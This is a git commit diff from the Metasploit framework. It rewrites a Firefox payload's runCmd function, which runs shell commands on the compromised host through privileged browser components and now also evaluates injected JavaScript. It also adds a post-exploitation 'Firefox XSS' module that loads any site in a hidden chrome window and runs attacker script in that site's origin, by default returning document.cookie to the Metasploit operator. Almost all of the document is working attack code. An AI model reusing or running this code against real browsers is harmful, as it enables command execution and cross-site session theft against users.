Refactor runCmd, allow js exec.
* Updates exec payload to not touch disk * Adds XSS module that uses hiddenWindow (to avoid X-Frame-Options)bug/bundler_fix
parent
60991b08eb
commit
b9c46cde47
|
@ -34,7 +34,7 @@ module Msf::Payload::Firefox
|
||||||
|
|
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Javascript source code of runCmd(str) - runs a shell command on the OS
|
# Javascript source code of runCmd(str,cb) - runs a shell command on the OS
|
||||||
#
|
#
|
||||||
# Because of a limitation of firefox, we cannot retrieve the shell output
|
# Because of a limitation of firefox, we cannot retrieve the shell output
|
||||||
# so the stdout/err are instead redirected to a temp file, which is read and
|
# so the stdout/err are instead redirected to a temp file, which is read and
|
||||||
|
@ -44,20 +44,38 @@ module Msf::Payload::Firefox
|
||||||
# which redirects stdout.
|
# which redirects stdout.
|
||||||
#
|
#
|
||||||
# On windows, the command is wrapped in two "cmd /c" calls, the outer of which
|
# On windows, the command is wrapped in two "cmd /c" calls, the outer of which
|
||||||
# redirects stdout. A JScript file "launch" file is then used to run the command
|
# redirects stdout. A JScript "launch" file is dropped and invoked with wscript
|
||||||
# without displaying the command prompt.
|
# to run the command without displaying the cmd.exe prompt.
|
||||||
|
#
|
||||||
|
# When the command contains the pattern ",JAVASCRIPT, ... ,ENDSCRIPT,", the
|
||||||
|
# javascript code between the tags is eval'd and returned.
|
||||||
#
|
#
|
||||||
# @return [String] javascript source code that exposes the runCmd(str) method.
|
# @return [String] javascript source code that exposes the runCmd(str) method.
|
||||||
def run_cmd_source
|
def run_cmd_source
|
||||||
%Q|
|
%Q|
|
||||||
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
||||||
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
||||||
|
var windows = (ua.indexOf("Windows")>-1);
|
||||||
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
|
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
|
||||||
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
|
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
|
||||||
var runCmd = function(cmd) {
|
var runCmd = function(cmd, cb) {
|
||||||
|
var echo = function(str) {
|
||||||
|
if(!str \|\| !str.length) return '';
|
||||||
|
var e = str.match(/echo ['"]?([^;\\s"']+)/);
|
||||||
|
return (e && e[1]) \|\| '';
|
||||||
|
}
|
||||||
|
var js = (/,JAVASCRIPT,([\\s\\S]*),ENDSCRIPT,/g).exec(cmd.trim());
|
||||||
|
if (js) {
|
||||||
|
var wcmd = (windows) ? cmd+"\\n" : '';
|
||||||
|
var cmds = cmd.split(js[0]).map(function(s){return s.trim().replace(/^\\s*;/, "")});
|
||||||
|
Function('cb', js[1])(function(r) {
|
||||||
|
cb(wcmd+echo(cmds[0])+"\\n"+r+"\\n"+echo(cmds[1]))
|
||||||
|
})
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
var shEsc = "\\\\$&";
|
var shEsc = "\\\\$&";
|
||||||
var shPath = "/bin/sh -c"
|
var shPath = "/bin/sh -c"
|
||||||
var windows = (ua.indexOf("Windows")>-1);
|
|
||||||
|
|
||||||
if (windows) {
|
if (windows) {
|
||||||
shPath = "cmd /c";
|
shPath = "cmd /c";
|
||||||
|
@ -78,18 +96,12 @@ module Msf::Payload::Firefox
|
||||||
}
|
}
|
||||||
|
|
||||||
var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||||
var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
|
||||||
|
|
||||||
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
|
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
|
||||||
.getService(Components.interfaces.nsIProperties)
|
.getService(Components.interfaces.nsIProperties)
|
||||||
.get("TmpD", Components.interfaces.nsIFile);
|
.get("TmpD", Components.interfaces.nsIFile);
|
||||||
stdout.append(stdoutFile);
|
stdout.append(stdoutFile);
|
||||||
|
|
||||||
var stderr = Components.classes["@mozilla.org/file/directory_service;1"]
|
|
||||||
.getService(Components.interfaces.nsIProperties)
|
|
||||||
.get("TmpD", Components.interfaces.nsIFile);
|
|
||||||
stderr.append(stderrFile);
|
|
||||||
|
|
||||||
if (windows) {
|
if (windows) {
|
||||||
var shell = shPath+" "+cmd;
|
var shell = shPath+" "+cmd;
|
||||||
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
|
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
|
||||||
|
@ -109,13 +121,13 @@ module Msf::Payload::Firefox
|
||||||
var args = [jscriptFile.path, b64];
|
var args = [jscriptFile.path, b64];
|
||||||
process.run(true, args, args.length);
|
process.run(true, args, args.length);
|
||||||
jscriptFile.remove(true);
|
jscriptFile.remove(true);
|
||||||
return [cmd+"\\r\\n"+readFile(stdout.path), readFile(stderr.path)];
|
cb(cmd+"\\n"+readFile(stdout.path));
|
||||||
} else {
|
} else {
|
||||||
sh.initWithPath("/bin/sh");
|
sh.initWithPath("/bin/sh");
|
||||||
process.init(sh);
|
process.init(sh);
|
||||||
var args = ["-c", shell];
|
var args = ["-c", shell];
|
||||||
process.run(true, args, args.length);
|
process.run(true, args, args.length);
|
||||||
return [readFile(stdout.path), readFile(stderr.path)];
|
cb(readFile(stdout.path));
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
|
|
||||||
|
|
|
@ -0,0 +1,84 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Firefox XSS',
|
||||||
|
'Description' => %q{
|
||||||
|
This module runs the provided SCRIPT as javascript in the
|
||||||
|
origin of the provided URL. It works by navigating a hidden
|
||||||
|
ChromeWindow to the URL, then injecting the SCRIPT with Function.
|
||||||
|
|
||||||
|
The value returned by SCRIPT is sent back to the Metasploit instance.
|
||||||
|
The callback "send(result)" can also be used to return data for
|
||||||
|
asynchronous scripts.
|
||||||
|
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'joev' ],
|
||||||
|
'Platform' => [ 'firefox' ]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('SCRIPT', [true, "The javascript command to run", 'return document.cookie']),
|
||||||
|
OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]),
|
||||||
|
OptString.new('URL', [
|
||||||
|
true, "URL to inject into", 'http://metasploit.com'
|
||||||
|
]),
|
||||||
|
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
results = cmd_exec(",JAVASCRIPT,#{js_payload},ENDSCRIPT,", nil, datastore['TIMEOUT'])
|
||||||
|
|
||||||
|
if results.present?
|
||||||
|
print_good results
|
||||||
|
else
|
||||||
|
print_error "No response received"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def js_payload
|
||||||
|
js = datastore['SCRIPT'].strip
|
||||||
|
%Q|
|
||||||
|
|
||||||
|
(function(){
|
||||||
|
var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
|
||||||
|
.getService(Components.interfaces.nsIAppShellService)
|
||||||
|
.hiddenDOMWindow;
|
||||||
|
|
||||||
|
hiddenWindow.location = 'about:blank';
|
||||||
|
var src = (#{JSON.unparse({ :src => js })}).src;
|
||||||
|
var XHR = hiddenWindow.XMLHttpRequest;
|
||||||
|
var key = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||||
|
hiddenWindow[key] = true;
|
||||||
|
hiddenWindow.location = "#{datastore['URL']}";
|
||||||
|
|
||||||
|
var evt = function() {
|
||||||
|
if (hiddenWindow[key]) {
|
||||||
|
schedule(evt);
|
||||||
|
} else {
|
||||||
|
schedule(function(){
|
||||||
|
cb(hiddenWindow.Function(src)());
|
||||||
|
}, 500);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
var schedule = function(cb, delay) {
|
||||||
|
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
|
||||||
|
timer.initWithCallback({notify:cb}, delay\|\|200, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
|
||||||
|
return timer;
|
||||||
|
};
|
||||||
|
|
||||||
|
schedule(evt);
|
||||||
|
})();
|
||||||
|
|
||||||
|
|.strip
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue